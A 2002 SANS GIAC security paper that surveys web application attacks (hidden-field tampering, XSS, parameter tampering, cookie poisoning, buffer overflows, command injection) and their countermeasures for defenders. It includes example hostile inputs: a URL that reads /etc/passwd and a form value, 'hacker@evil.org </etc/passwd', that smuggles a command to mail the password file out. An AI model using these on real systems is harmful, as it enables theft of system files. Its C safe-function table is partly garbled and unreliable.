GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Security Essentials: Network, Endpoint, and Cloud (Security 401)"
at http://www.giac.org/registration/gsec

Web Application Security
GSEC Practical Assignment Version 1.3
Zarina Musa
February 21, 2002

Abstract
Web sites are becoming popular target for attacks. Attackers may do it just for fun, or may have serious bad intentions toward the site's company. This paper attempts to first highlight the increase in these attacks, then gives a reason why web sites are such a popular target. Despite the fact that the attacks are increasing, most companies are still vulnerable because some are still concentrating on server and network security, while some just do not have the knowledge on how to handle these attacks. This paper then attempts to describe some major exploits that web applications are vulnerable to and their countermeasures. Looking at the rigorous testing that need to be performed, this paper points to some products that focuses in web application security. As a conclusion, web application security is another area that really needs attention besides server and network security. Hopefully, a growing concern in this area will help minimize the attacks.

Introduction

Web sites and e-commerce sites are emerging at an astonishing pace worldwide. Unfortunately, web fraud and defacement attacks are also increasing at an alarming rate. The statistics from attrition.org(http://www.attrition.org/mirror/attrition/annuals.html), shows that web defacements are increasing each year.

Year	Total
1995	5
1996	20
1997	39
1998	245
1999	3746
2000	5822
2001	5315
Grand Total	15203

Annual Totals, 1995 - May 17, 2001

These attacks resulted in damage ranging from denial of service attacks, stolen or manipulated data, viruses, confidential information being exposed and so on. Why are web sites such a popular target? One of the reason is because web sites are moving away from static HTML to dynamic interactive web applications. Most often, these applications access a back end database to serve dynamically generated content to the users. Applications designed without security in mind may result in loss of data integrity, availability, confidentiality and loss of privacy. Hence, web application security should not be taken lightly. Web application security covers all the threats that involve the use of web applications for purposes other than their original intent.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Most organizations think that these threats can be prevented or minimized by deploying network security mechanisms such as firewalls and intrusion detection. These products do make up the components of a comprehensive security strategy but they are not really focused specifically on closing all the holes that web applications can open. Firewalls for example, have to always open up port 80 which is used by web servers. A specifically crafted, but legitimate HTTP message can be sent by an attacker through the firewall to a web server, thus making an attack possible. Another product commonly deployed is intrusion detection systems. Most intrusion detection systems can only detect intrusions, but not providing real time prevention. They listen to packets, but not block their transfer. Therefore, an attack can be successful before it is identified. And, these systems can only handle known attacks for which signatures exist in the product database.

Web application security has not been a major concern for companies because emphasis is put more on securing the network. "A lot of people are still struggling with network security, so they haven't gotten to this yet," said Mike Serbinis, chief security officer at Critical Path Inc, as reported in the article "The next security threat: Web applications" (http://zdnet.com.com/2100-11-503341.html?legacy=zdnn). But, we can expect web application attacks to increase. So, we need to increase our understanding of how web applications are vulnerable to attacks. This paper attempts to describe some of the major exploits that web applications are vulnerable to and their countermeasures. Many vendors categorize these exploits in their own way. Hopefully this paper will increase our awareness and will get us started to think seriously about the security of our web applications.

How are web applications vulnerable?

1 Known vulnerabilities

Known vulnerabilities applies to both operating system and third-party applications such as web servers and database servers. Operating system updates and patches which are essential to the security of the machine are always issued from time to time. They must be installed to prevent or minimize unauthorized intrusion and attacks. Some operating systems require more frequent updates. The same goes for third-party application updates. For instance, Microsoft (www.microsoft.com) has released quite a number of updates for its Internet Information Server. You can see how many vulnerabilities that were found in products and operating systems by searching for them at security sites such as Security Focus (http://online.securityfocus.com/bid).

Countermeasure

Constantly patch operating system and third-party applications. Always check with the vendors for issued patches or updates. These updates should be installed as soon as they are available since product vulnerabilities are usually published quickly over the web and it is just a matter of time the vulnerabilities will be exploited. Usually, constant patching is not a top priority in companies. The importance of patching has been highlighted in the The Twenty Most Critical Internet Security Vulnerabilities list released by SANS/FBI (http://www.sans.org/top20.htm). Subscribe to any mailing list that will announce the availability of patches. One such mailing list is provided by SANS(www.sans.org) which will send out weekly security digest emails.

2 Misconfigurations

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Most default configurations of operating systems and applications are insecure and they need proper configurations by the administrator. Default installation of operating systems usually have all services turned on. It is important to turn off unused services and other unsafe features. Out-of-the-box configurations of third-party applications are meant to provide ease in installing and usage, but are very dangerous if left unchanged. Among the common misconfigurations are default passwords, default examples, incorrect file permissions accessible by the web server, programs and documents scattered around and not put in a dedicated directory and unsafe features like automatic indexing, exec form of server side includes and web server will serve not only specified kind of documents or program but all kinds of documents.

Countermeasure
Both operating systems and applications should be configured as securely as possible. The World Wide Web Security FAQ (http://www.w3.org/Security/Faq/) is a good reference for questions regarding the security implications of running a web server including misconfigurations and vulnerabilities of web servers.

3 Hidden fields
Hidden fields are hidden HTML form-fields. Web applications are stateless in nature. In an attempt to preserve state, the most easiest and common method is to use hidden fields to store information. However, they are not exactly hidden, they are just not being displayed to the user. A lot of applications out there use these fields to store merchandise prices, usernames or passwords. For example, by selecting "View Source", we can see that Price is stored in a hidden field.

<input type="hidden" name="Price" value="10.50>

A malicious user, by using a browser can easily save the HTML source page, change the value, then re-submits the form. The web server does not validate the source of the change, thus happily accepts and proceeds with the transaction using the newly changed price. Hidden fields are a risky place to store critical information. A lot of web-based shopping cart applications use this method to hold parameters for items. In February 1st, 2000, ISS X-Force released an alert titled Form Tampering Vulnerabilities in Several Web-Based Shopping Cart Applications (http://xforce.iss.net/alerts/advise42.php) that identified eleven shopping cart that are vulnerable to this attack. Even though this vulnerability has been known long, I am sure there are still sites out there that are making use of hidden form fields to store critical information.

Countermeasure
Some may think this type of tampering can be prevented by checking the HTTP_REFERER variable which contains the URL of the page the user viewed before the current one. It is an HTTP header sent by most browsers. However, it is not recommended to use this checking since anything sent by the browser can easily be tampered with. A user can write a script to alter the header's contents. Another reason why this checking is not recommended is because the header can also be stripped out by proxy services before sending HTTP requests to their destination.

An effective way of detecting web application tampering is by using digest algorithms. Secure hash algorithms, called "Message Digest" algorithms take a string of characters of any length and determine a "fingerprint" of the characters. It is impossible to alter any part of the data without also altering the fingerprint. Concatenate the values of all the hidden fields into a

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

string, then compute a fingerprint. Send it out in another hidden field. When user submitted the form, the hidden fields returned can be fingerprinted again and compared to the original fingerprint. To make it more secure, a secret component which is stored only on the server and not known by the user can also be added to the fingerprint. However, a better approach for preventing this kind of attack is not to store any critical information in hidden fields and keep everything on the server.

4 Debug options and backdoors

Debugging is usually turned on by developers during development phase to aid in testing and troubleshooting. But, sometimes, they are left in by mistake in the final application or can even be left purposely by disgruntled employees. These debug options can provide hackers with exploitable vulnerabilities. They can activate the debug mode and begin manipulating a feature. For example, a programmer may test a shopping cart mechanism by using a debug option to add any item for any price. If not removed when placed in a production environment, it can be used by hackers to place orders with false prices.

Backdoors can be found in many applications. They can be purposely left in by a developer, allowing for later access to the application and giving him the ability to direct the application to perform illegal activities. Some popular backdoors are the ones that let a user log in with no password and also a special URL that allows direct access to application configuration.

Countermeasure

All codes, whether developed in-house or by a third-party need to be reviewed. Remove all debug options and backdoors before putting the application in a production environment. Also, make sure to disable all accounts created for the purpose of testing the application.

5 Cross-site scripting

Cross-site scripting is the process of inserting code into pages sent by another source. One way of exploiting this technique is through HTML forms which lets a user type information and sent it to the server. One good example is a bulletin board. If a user types in a message along with a malicious JavaScript code, then when an innocent user looks at the bulletin board, the server will happily send the HTML together with the malicious code. Another scenario, a user types in data in an HTML form which includes malicious code, the server takes the input and displays it back to the user to confirm the input. In this case, the malicious code will be executed by the server if no input checking is being done. Malicious code can modify files, propagate e-mail viruses, steal a cookie or even launch denial-of-service attacks.

"Cross site scripting, or CSS, a relatively new method of attack, has proven itself to be a formidable opponent in the battle to secure the Web.", reported David Worthington in an article(http://techupdate.zdnet.com/techupdate/stories/main/0,14179,2808729,00.html) published in eWEEK dated August 28, 2001. All HTML-aware Web applications are at risk. Among those at risk are popular online services such as auctions, message boards, HTML chats, guestbooks and search engines.

An advisory titled Malicious HTML Tags Embedded in Client Web Requests (http://www.cert.org/advisories/CA-2000-02.html) describing the cross site scripting

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

vulnerability was released in February 2, 2000 by CERT. In August 2001, WhiteHat Security, an internet security consulting firm and audit provider specializing in web application security for commerce released an advisory for a new strain of cross site scripting vulnerability which will circumvent HTML/JavaScript filter (http://www.whitehatsec.com/labs/advisories/WH-Security_Advisory-08232001.html).

Countermeasure
Check all codes that accept user data and/or returns that data. All codes must be checked, including CGI scripts in any language, ASP scripts in any language, PHP, Perl, NSAPI, ISAPI, Java Servlets and JSP. Examine all input and output for special HTML characters which can be treated by browser as a command to execute script. A document by CERT/CC which explores the issue of encoding and filtering data can be read at http://www.cert.org/tech_tips/malicious_code_mitigation.html

A wide range of web server products have bugs that allow for or contribute to the exploitation of this security problem. Most vendors have released patches that can avoid them being vulnerable to cross-site scripting. Information on Apache can be found at this site http://httpd.apache.org/info/css-security/apache_specific.html, but it is critical to keep in mind that it is only a tiny part of the total issue, the most serious is in all the code being developed that generates dynamic content.

6 Parameter tampering
Parameter tampering involves manipulating URL strings by changing the parameter to break the site security. It can be used to retrieve information the user should not see. Web applications that make use of a back-end database may have access to it through SQL calls that are often included in the URL. Malicious users can manipulate the SQL call to potentially retrieve supposedly should not be seen data that is stored in the database, example credit card numbers for all users. "A flaw in buy.com's system let anyone peruse the name, address, and phone number of customers who returned products to the company by manipulating a URL string", mentioned Mandy Andress in the Taming the Wide Open Web article (http://www.advisor.com/Articles.nsf/aid/ANDRM01).

A URL that contains parameters, will appear as "name=value" strings, separated from one another with "&." For example, below is a URL that goes to a search CGI that accepts the parameters template and flag.

http://www.aaa.com/Search.exe?template=result.html&flag=ok

A hacker can manipulate the template parameter, like this

http://www.aaa.com/Search.exe?template=/etc/passwd&flag=ok , thus giving him access to the /etc/passwd file.

Other attacks may include changing the parameter value to contain invalid data. For example change it to something very large, very small, negative when expecting positive values, wrong data type (text when expecting integer), or removing the parameter altogether. These can lead to unexpected results.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Countermeasure
It is advised to perform a thorough program field validity checking. For applications using database statements, prepare the statements in advance to avoid hackers appending anything to them.

7 Cookie poisoning
Cookie poisoning refers to the modification of data stored in a cookie. Many web applications use cookies which are stored on the client's machine to save information such as user IDs, passwords and timestamps. They are used to retain state information from one session to the next and enables a server to recognize a user from a previous session. Since cookies are not always cryptographically secure and they are stored in the user's deskstop, a hacker can change these values, thus can gain access to other people's accounts. A cookie can also be stolen, which will give access to the account without being authenticated.

Countermeasure
Considerations should be made so that whenever cookies are stolen or whenever a hacker tries to change the values, they cannot be re-used easily by another person and the values contained inside could not be extracted out. Some cookie authentication guidelines that we can implement:

- Do not store a plain text or weakly encrypted password in a cookie.
- Implement cookie timeout
- Tie cookie authentication credentials to an IP address
- Provide availability of logout functions which will invalidate a user's session authentication information by modifying or erasing a session cookie

8 Input manipulation
This involves the manipulation of input in HTML forms processed by a CGI script. Manipulation can be done on for instance the field length, field content and field valid character sets. This will result in the ability to run dangerous system commands on the server such as deleting files and mailing the password file.

Countermeasure
Process and validate form input field values entered by the user for range, expected input, and strange characters. In addition, every field in each page that returns to the web server from the browser must be validated. This is to confirm that the length has not been modified and the contents are valid upon reentry to the web server. Checking should be made on all mandatory and non-mandatory fields, hidden and visible fields and also cookies.

9 Buffer overflow
When an application receives invalid data, it may be unable to process it, and may lead to unpredictable results. Hackers can use buffer overflow technique where a larger amount of data than expected is sent to the server. If the data received is larger than the set buffer, parts of the data will overflow onto the stack and may crash the application or even the operating system. Specially-malformed data could be sent to cause arbitrary code to be executed and may result in a number of different dangerous scenarios like having access to restricted data and gaining complete control of the system.

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

Countermeasure
Validate input length in forms. In programs, do bounds checking and be extra careful when using for and while loops to copy data. Avoid functions that do no bounds checking and substitute them with functions that do bounds checking. The following are some examples in C language :

Not good to use:	Recommend to use:
gets()	fgets()
strcpy()	strncpy()
strcat()	strncat()
sprintf()	bcopy()
scanf()	bzero()
sscanf()	memcpy(), memset()

There are tools that we can use. StackGuard and StackShield for Linux are tools to defend programs and systems against stack-smashing that resulted from buffer-overflow. More information on buffer overflow can be found in The Tao of Windows Buffer Overflows (http://www.cultdeadcow.com/cDc_files/cDc-351/).

10 Direct access browsing
By direct access browsing, a user can access a web page he is not supposed to get to by typing the URL directly instead of going through the entry page which may require authentication. In many cases, web applications access controls do not stop direct access browsing. Direct access browsing is also used to look for files or applications that can be exploited to construct an attack. Interesting files may include known vulnerable files, hidden files, back-up and temporary files. Many sites do not remove sample files or default installation files. It is known that a lot of sample files available in the internet are insecure. They may not be referenced by any HTML or cgi, but an attacker can use direct access browsing to search for them. Temporary files may be automatically created by editors or HTML authoring tools. Back-up files are also dangerous since they may contain sensitive information that is meant to be removed when they are put up for production.

Countermeasure
Please ensure that all sample files are removed from your web server. Also remove any unwanted, unused, old and back-up files. Make a habit of searching for all files with extensions that are not explicitly allowed. And, one important rule, do not develop HTML and applications on the same server that will also be the production server.

11 Stealth commanding
Stealth commanding allows an attacker to gain access to the operating system. This is done by planting Trojan horses in text fields that cause the web applications to run malicious or unauthorized code and perform commands it wasn't intended to do. Meta code(control or escape code) embedded inside input data allows control commands to be passed to the application or operating system. Examples are command strings preceded with an exclamation mark "!" passed to Unix shell script, or percent sign "%" passed to a perl script that would enable commands to

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

run at the operating system level. Other examples are through the use of "eval" and "system" Perl commands, server-side includes and SQL queries.

To illustrate, let us look at this scenario. A hacker fills in the recipient field with *hacker@evil.org </etc/passwd* in an e-card form. The Perl CGI program used for sending the e-card had the following statement : open (MAIL, "|$mailprog $recipient". This resulted in the password file being mailed to the hacker.

Countermeasure
This attack technique involves input data. So, just like input manipulation, validity checks need to be performed on all input field values. Also, make sure SQL database statements are prepared in advance to avoid hackers appending anything to them.

Summary
Looking at the attacks described above, the consequences from such attacks range from attackers being able to learn vulnerabilities, accessing sensitive data and operating system , access application as developer or admin, to consequences such as site defacements, user impersonation and eshoplifting, crashing server, application and database, and the ablility to control application at operating system. Web applications need to be guarded against all of these attacks, and this requires a lot of time and effort. Developers need to take into account security when doing code design and implementation, testing and code review, and this is a cyclic process. Administrators need to stay up-to-date with security patches, and make sure the web servers and operating systems are configured securely. Looking at the rigorous testing and work that need to be done at each phase, some companies came up with products that focuses on web application security, such as AppShield by Sanctum which will block any type of application manipulation through the web. Some other products that deserve consideration in the effort of protecting our web applications are AppScan by Sanctum, WebInspect by Spidynamics, WhiteHat Arsenal and CGI vulnerability scanning scripts like whisker.pl and cgichk.pl.

Conclusion
Web application security is another area that needs attention besides server and network security. Some just do not realize the consequences of attacks to web applications, while some do not know how to minimize the risk. There is a project that started at the end of last year , the Open Web Application Security Project.(http://www.owasp.org) whose mission is "to document and share knowledge and tools on web application security". It is a community effort by volunteers, which shows that more and more people are concerned about the security of web applications. Hopefully, this growing concern will see a decline in web frauds and attacks.

Links for products mentioned :
StackGuard (http://www.cse.ogi.edu/DISC/projects/immunix/StackGuard/)
StackShield for Linux (www.angelfire.com/sk/stackshield/)
AppShield (http://www.sanctuminc.com/solutions/appshield/index.html)
AppScan (http://www.sanctuminc.com/solutions/appscan/index.html)
WebInspect (http://www.spidynamics.com/webinspect.html)
WHArsenal (http://community.whitehatsec.com)
whisker.pl (http://www.wiretrip.net/rfp/p/doc.asp/i1/d21.htm)
cgichk.pl. (http://packetstorm.widexs.nl/groups/wiltered_fire/NEW/indexsize.shtml)

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.

References

Pettit, Steve. "Anatomy Of A Web Application: Security Considerations". July 2001.
URL: http://www.sanctuminc.com/pdf/AnatomyApplicationFINAL.pdf

ISS X-Force E-Security Alert. "Form Tampering Vulnerabilities in Several Web-Based Shopping Cart Applications". February 1, 2000.
URL: http://xforce.iss.net/alerts/advise42.php

Advosys Consulting Inc. "Preventing HTML Form Tampering". July 2000.
URL: http://advosys.ca/tips/form-tampering.html

Sanctum Inc. "Application Security Overview".
URL: http://www.sanctuminc.com/security/more/app-security/index.html

Worthington, David. "New Hack Poses Threat to Popular Web Services". August 2001.
URL: http://techupdate.zdnet.com/techupdate/stories/main/0,14179,2808729,00.html

Andress, Mandy. "Taming the Wide Open Web". February 2001.
URL: http://www.advisor.com/Articles.nsf/aid/ANDRM01

Decker, Nicole LaRock. "Buffer Overflows: Why, How and Prevention". November 13, 2000.
URL: http://www.sans.org/infosecFAQ/threats/buffer_overflow.htm

Grossman, Jeremiah. "Web Application Security". August 2001.
URL: http://www.whitehatsec.com/afitc2001/index.html

Dickerson, Matt & Martin, Brian. "Attrition Annual, Monthly Counts, Defacement Per Day Tables and Chart". 2001.
URL: http://www.attrition.org/mirror/attrition/annuals.html

Curphey, Mark. "File and Application Enumeration". The Open Web Application Security Project.
URL: http://www.owasp.org/asac/informational/file_app_enumeration.shtml

Petersen, Scot & Fisher, Dennis. "The next security threat: Web applications". January 2001.
URL: http://zdnet.com.com/2100-11-503341.html?legacy=zdnn

SANS/FBI. "The Twenty Most Critical Internet Security Vulnerabilities". 2002.
URL: http://www.sans.org/top20.htm

CERT Advisory. "Malicious HTML Tags Embedded in Client Web Requests". February 2000.
URL: http://www.cert.org/advisories/CA-2000-02.html

WhiteHat Security Advisory. "Hotmail [LINK CSS Vulnerability (New Strain)]". August 2001.
URL: http://www.whitehatsec.com/labs/advisories/WH-Security_Advisory-08232001.html

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.